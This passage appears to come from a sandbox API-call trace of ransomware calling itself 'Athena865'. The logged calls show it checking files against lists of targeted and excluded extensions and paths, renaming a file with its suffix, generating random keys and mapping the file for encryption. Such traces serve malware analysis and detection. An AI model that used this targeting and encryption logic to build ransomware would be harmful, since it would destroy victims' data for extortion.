lpString2="accdr") returned -1 [0129.784] lstrlenW (lpString="accdt") returned 5 [0129.784] lstrcmpiW (lpString1="5.WMF", lpString2="accdt") returned -1 [0129.784] lstrlenW (lpString="accdw") returned 5 [0129.784] lstrcmpiW (lpString1="5.WMF", lpString2="accdw") returned -1 [0129.784] lstrlenW (lpString="accft") returned 5 [0129.784] lstrcmpiW (lpString1="5.WMF", lpString2="accft") returned -1 [0129.784] lstrlenW (lpString="adb") returned 3 [0129.784] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.784] lstrlenW (lpString="adb") returned 3 [0129.784] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.784] lstrlenW (lpString="ade") returned 3 [0129.784] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.784] lstrlenW (lpString="adf") returned 3 [0129.784] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.784] lstrlenW (lpString="adn") returned 3 [0129.784] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.784] lstrlenW (lpString="adp") returned 3 [0129.784] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.784] lstrlenW (lpString="alf") returned 3 [0129.785] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.785] lstrlenW (lpString="ask") returned 3 [0129.785] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.785] lstrlenW (lpString="btr") returned 3 [0129.785] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.785] lstrlenW (lpString="cat") returned 3 [0129.785] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.785] lstrlenW (lpString="cdb") returned 3 [0129.785] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.785] lstrlenW (lpString="ckp") returned 3 [0129.785] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.785] lstrlenW (lpString="cma") returned 3 [0129.785] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.785] lstrlenW (lpString="cpd") returned 3 [0129.785] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.785] lstrlenW (lpString="dacpac") returned 6 [0129.785] lstrcmpiW (lpString1="15.WMF", lpString2="dacpac") returned -1 [0129.785] lstrlenW (lpString="dad") returned 3 [0129.785] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.785] lstrlenW (lpString="dadiagrams") returned 10 [0129.785] lstrcmpiW (lpString1="287415.WMF", lpString2="dadiagrams") returned -1 [0129.785] lstrlenW (lpString="daschema") returned 8 [0129.785] lstrcmpiW (lpString1="7415.WMF", lpString2="daschema") returned -1 [0129.785] lstrlenW (lpString="db-journal") returned 10 [0129.785] lstrcmpiW (lpString1="287415.WMF", lpString2="db-journal") returned -1 [0129.785] lstrlenW (lpString="db-shm") returned 6 [0129.786] lstrcmpiW (lpString1="15.WMF", lpString2="db-shm") returned -1 [0129.786] lstrlenW (lpString="db-wal") returned 6 [0129.786] lstrcmpiW (lpString1="15.WMF", lpString2="db-wal") returned -1 [0129.786] lstrlenW (lpString="dbc") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.786] lstrlenW (lpString="dbs") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.786] lstrlenW (lpString="dbt") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.786] lstrlenW (lpString="dbv") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.786] lstrlenW (lpString="dbx") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.786] lstrlenW (lpString="dcb") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.786] lstrlenW (lpString="dct") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.786] lstrlenW (lpString="dcx") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.786] lstrlenW (lpString="ddl") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.786] lstrlenW (lpString="dlis") returned 4 [0129.786] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.786] lstrlenW (lpString="dp1") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.786] lstrlenW (lpString="dqy") returned 3 [0129.786] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.787] lstrlenW (lpString="dsk") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.787] lstrlenW (lpString="dsn") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.787] lstrlenW (lpString="dtsx") returned 4 [0129.787] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.787] lstrlenW (lpString="dxl") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.787] lstrlenW (lpString="eco") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.787] lstrlenW (lpString="ecx") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.787] lstrlenW (lpString="edb") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.787] lstrlenW (lpString="epim") returned 4 [0129.787] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.787] lstrlenW (lpString="fcd") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.787] lstrlenW (lpString="fdb") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.787] lstrlenW (lpString="fic") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.787] lstrlenW (lpString="flexolibrary") returned 12 [0129.787] lstrlenW (lpString="fm5") returned 3 [0129.787] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.787] lstrlenW (lpString="fmp") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.788] lstrlenW (lpString="fmp12") returned 5 [0129.788] lstrcmpiW (lpString1="5.WMF", lpString2="fmp12") returned -1 [0129.788] lstrlenW (lpString="fmpsl") returned 5 [0129.788] lstrcmpiW (lpString1="5.WMF", lpString2="fmpsl") returned -1 [0129.788] lstrlenW (lpString="fol") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.788] lstrlenW (lpString="fp3") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.788] lstrlenW (lpString="fp4") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.788] lstrlenW (lpString="fp5") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.788] lstrlenW (lpString="fp7") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.788] lstrlenW (lpString="fpt") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.788] lstrlenW (lpString="frm") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.788] lstrlenW (lpString="gdb") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.788] lstrlenW (lpString="gdb") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.788] lstrlenW (lpString="grdb") returned 4 [0129.788] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.788] lstrlenW (lpString="gwi") returned 3 [0129.788] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.789] lstrlenW (lpString="hdb") returned 3 [0129.789] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.789] lstrlenW (lpString="his") returned 3 [0129.789] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.789] lstrlenW (lpString="ib") returned 2 [0129.789] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.789] lstrlenW (lpString="idb") returned 3 [0129.789] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.789] lstrlenW (lpString="ihx") returned 3 [0129.789] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.789] lstrlenW (lpString="itdb") returned 4 [0129.789] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.789] lstrlenW (lpString="itw") returned 3 [0129.789] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.789] lstrlenW (lpString="jet") returned 3 [0129.789] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.789] lstrlenW (lpString="jtx") returned 3 [0129.789] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.789] lstrlenW (lpString="kdb") returned 3 [0129.789] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.789] lstrlenW (lpString="kexi") returned 4 [0129.789] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.789] lstrlenW (lpString="kexic") returned 5 [0129.789] lstrcmpiW (lpString1="5.WMF", lpString2="kexic") returned -1 [0129.789] lstrlenW (lpString="kexis") returned 5 [0129.789] lstrcmpiW (lpString1="5.WMF", lpString2="kexis") returned -1 [0129.790] lstrlenW (lpString="lgc") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.790] lstrlenW (lpString="lwx") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.790] lstrlenW (lpString="maf") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.790] lstrlenW (lpString="maq") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.790] lstrlenW (lpString="mar") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.790] lstrlenW (lpString="marshal") returned 7 [0129.790] lstrcmpiW (lpString1="415.WMF", lpString2="marshal") returned -1 [0129.790] lstrlenW (lpString="mas") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.790] lstrlenW (lpString="mav") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.790] lstrlenW (lpString="maw") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.790] lstrlenW (lpString="mdbhtml") returned 7 [0129.790] lstrcmpiW (lpString1="415.WMF", lpString2="mdbhtml") returned -1 [0129.790] lstrlenW (lpString="mdn") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.790] lstrlenW (lpString="mdt") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.790] lstrlenW (lpString="mfd") returned 3 [0129.790] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.791] lstrlenW (lpString="mpd") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.791] lstrlenW (lpString="mrg") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.791] lstrlenW (lpString="mud") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.791] lstrlenW (lpString="mwb") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.791] lstrlenW (lpString="myd") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.791] lstrlenW (lpString="ndf") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.791] lstrlenW (lpString="nnt") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.791] lstrlenW (lpString="nrmlib") returned 6 [0129.791] lstrcmpiW (lpString1="15.WMF", lpString2="nrmlib") returned -1 [0129.791] lstrlenW (lpString="ns2") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.791] lstrlenW (lpString="ns3") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.791] lstrlenW (lpString="ns4") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.791] lstrlenW (lpString="nsf") returned 3 [0129.791] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.791] lstrlenW (lpString="nv") returned 2 [0129.791] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.791] lstrlenW (lpString="nv2") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.792] lstrlenW (lpString="nwdb") returned 4 [0129.792] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.792] lstrlenW (lpString="nyf") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.792] lstrlenW (lpString="odb") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.792] lstrlenW (lpString="odb") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.792] lstrlenW (lpString="oqy") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.792] lstrlenW (lpString="ora") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.792] lstrlenW (lpString="orx") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.792] lstrlenW (lpString="owc") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.792] lstrlenW (lpString="p96") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.792] lstrlenW (lpString="p97") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.792] lstrlenW (lpString="pan") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.792] lstrlenW (lpString="pdb") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.792] lstrlenW (lpString="pdm") returned 3 [0129.792] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.793] lstrlenW (lpString="pnz") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.793] lstrlenW (lpString="qry") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.793] lstrlenW (lpString="qvd") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.793] lstrlenW (lpString="rbf") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.793] lstrlenW (lpString="rctd") returned 4 [0129.793] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.793] lstrlenW (lpString="rod") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.793] lstrlenW (lpString="rodx") returned 4 [0129.793] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.793] lstrlenW (lpString="rpd") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.793] lstrlenW (lpString="rsd") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.793] lstrlenW (lpString="sas7bdat") returned 8 [0129.793] lstrcmpiW (lpString1="7415.WMF", lpString2="sas7bdat") returned -1 [0129.793] lstrlenW (lpString="sbf") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.793] lstrlenW (lpString="scx") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.793] lstrlenW (lpString="sdb") returned 3 [0129.793] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.793] lstrlenW (lpString="sdc") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.794] lstrlenW (lpString="sdf") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.794] lstrlenW (lpString="sis") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.794] lstrlenW (lpString="spq") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.794] lstrlenW (lpString="te") returned 2 [0129.794] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.794] lstrlenW (lpString="teacher") returned 7 [0129.794] lstrcmpiW (lpString1="415.WMF", lpString2="teacher") returned -1 [0129.794] lstrlenW (lpString="tmd") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.794] lstrlenW (lpString="tps") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.794] lstrlenW (lpString="trc") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.794] lstrlenW (lpString="trc") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.794] lstrlenW (lpString="trm") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.794] lstrlenW (lpString="udb") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.794] lstrlenW (lpString="udl") returned 3 [0129.794] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.795] lstrlenW (lpString="usr") returned 3 [0129.795] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.795] lstrlenW (lpString="v12") returned 3 [0129.795] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.795] lstrlenW (lpString="vis") returned 3 [0129.795] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.795] lstrlenW (lpString="vpd") returned 3 [0129.795] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.795] lstrlenW (lpString="vvv") returned 3 [0129.795] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.795] lstrlenW (lpString="wdb") returned 3 [0129.795] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.795] lstrlenW (lpString="wmdb") returned 4 [0129.795] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.795] lstrlenW (lpString="wrk") returned 3 [0129.795] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.795] lstrlenW (lpString="xdb") returned 3 [0129.795] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.795] lstrlenW (lpString="xld") returned 3 [0129.795] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.795] lstrlenW (lpString="xmlff") returned 5 [0129.795] lstrcmpiW (lpString1="5.WMF", lpString2="xmlff") returned -1 [0129.795] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.Athena865") returned 73 [0129.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.athena865"), dwFlags=0x1) returned 1 [0129.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.797] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43020) returned 1 [0129.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.798] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.798] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.798] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.799] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab10, lpName=0x0) returned 0x154 [0129.800] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xab10) returned 0x100000 [0129.803] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.803] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.803] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.804] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.805] CloseHandle (hObject=0x154) returned 1 [0129.805] CloseHandle (hObject=0x17c) returned 1 [0129.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.805] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1 [0129.805] lstrcmpiW (lpString1="J0287417.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.805] lstrcmpiW (lpString1="J0287417.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.805] lstrcmpiW (lpString1="J0287417.WMF", lpString2=".") returned 1 [0129.805] lstrcmpiW (lpString1="J0287417.WMF", lpString2="..") returned 1 [0129.805] lstrcmpiW (lpString1="J0287417.WMF", lpString2="windows") returned -1 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2="bootmgr") returned 1 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2="temp") returned -1 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2="pagefile.sys") returned -1 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2="boot") returned 1 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2="ids.txt") returned 1 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2="ntuser.dat") returned -1 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2="perflogs") returned -1 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2="MSBuild") returned -1 [0129.806] lstrlenW (lpString="J0287417.WMF") returned 12 [0129.806] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287417.WMF" | out: lpString1="J0287417.WMF") returned="J0287417.WMF" [0129.806] lstrlenW (lpString="J0287417.WMF") returned 12 [0129.806] lstrlenW (lpString="Athena865") returned 9 [0129.806] lstrcmpiW (lpString1="87417.WMF", lpString2="Athena865") returned -1 [0129.806] lstrlenW (lpString=".dll") returned 4 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2=".dll") returned 1 [0129.806] lstrlenW (lpString=".lnk") returned 4 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2=".lnk") returned 1 [0129.806] lstrlenW (lpString=".ini") returned 4 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2=".ini") returned 1 [0129.806] lstrlenW (lpString=".sys") returned 4 [0129.806] lstrcmpiW (lpString1="J0287417.WMF", lpString2=".sys") returned 1 [0129.806] lstrlenW (lpString="J0287417.WMF") returned 12 [0129.806] lstrlenW (lpString="bak") returned 3 [0129.806] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.806] lstrlenW (lpString="ba_") returned 3 [0129.806] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.807] lstrlenW (lpString="dbb") returned 3 [0129.807] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.807] lstrlenW (lpString="vmdk") returned 4 [0129.807] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.807] lstrlenW (lpString="rar") returned 3 [0129.807] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.807] lstrlenW (lpString="zip") returned 3 [0129.807] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.807] lstrlenW (lpString="tgz") returned 3 [0129.807] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.807] lstrlenW (lpString="vbox") returned 4 [0129.807] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.807] lstrlenW (lpString="vdi") returned 3 [0129.807] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.807] lstrlenW (lpString="vhd") returned 3 [0129.807] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.807] lstrlenW (lpString="vhdx") returned 4 [0129.807] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.807] lstrlenW (lpString="avhd") returned 4 [0129.807] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.807] lstrlenW (lpString="db") returned 2 [0129.807] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.807] lstrlenW (lpString="db2") returned 3 [0129.807] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.807] lstrlenW (lpString="db3") returned 3 [0129.807] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.807] lstrlenW (lpString="dbf") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.808] lstrlenW (lpString="mdf") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.808] lstrlenW (lpString="mdb") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.808] lstrlenW (lpString="sql") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.808] lstrlenW (lpString="sqlite") returned 6 [0129.808] lstrcmpiW (lpString1="17.WMF", lpString2="sqlite") returned -1 [0129.808] lstrlenW (lpString="sqlite3") returned 7 [0129.808] lstrcmpiW (lpString1="417.WMF", lpString2="sqlite3") returned -1 [0129.808] lstrlenW (lpString="sqlitedb") returned 8 [0129.808] lstrcmpiW (lpString1="7417.WMF", lpString2="sqlitedb") returned -1 [0129.808] lstrlenW (lpString="xml") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.808] lstrlenW (lpString="$er") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", 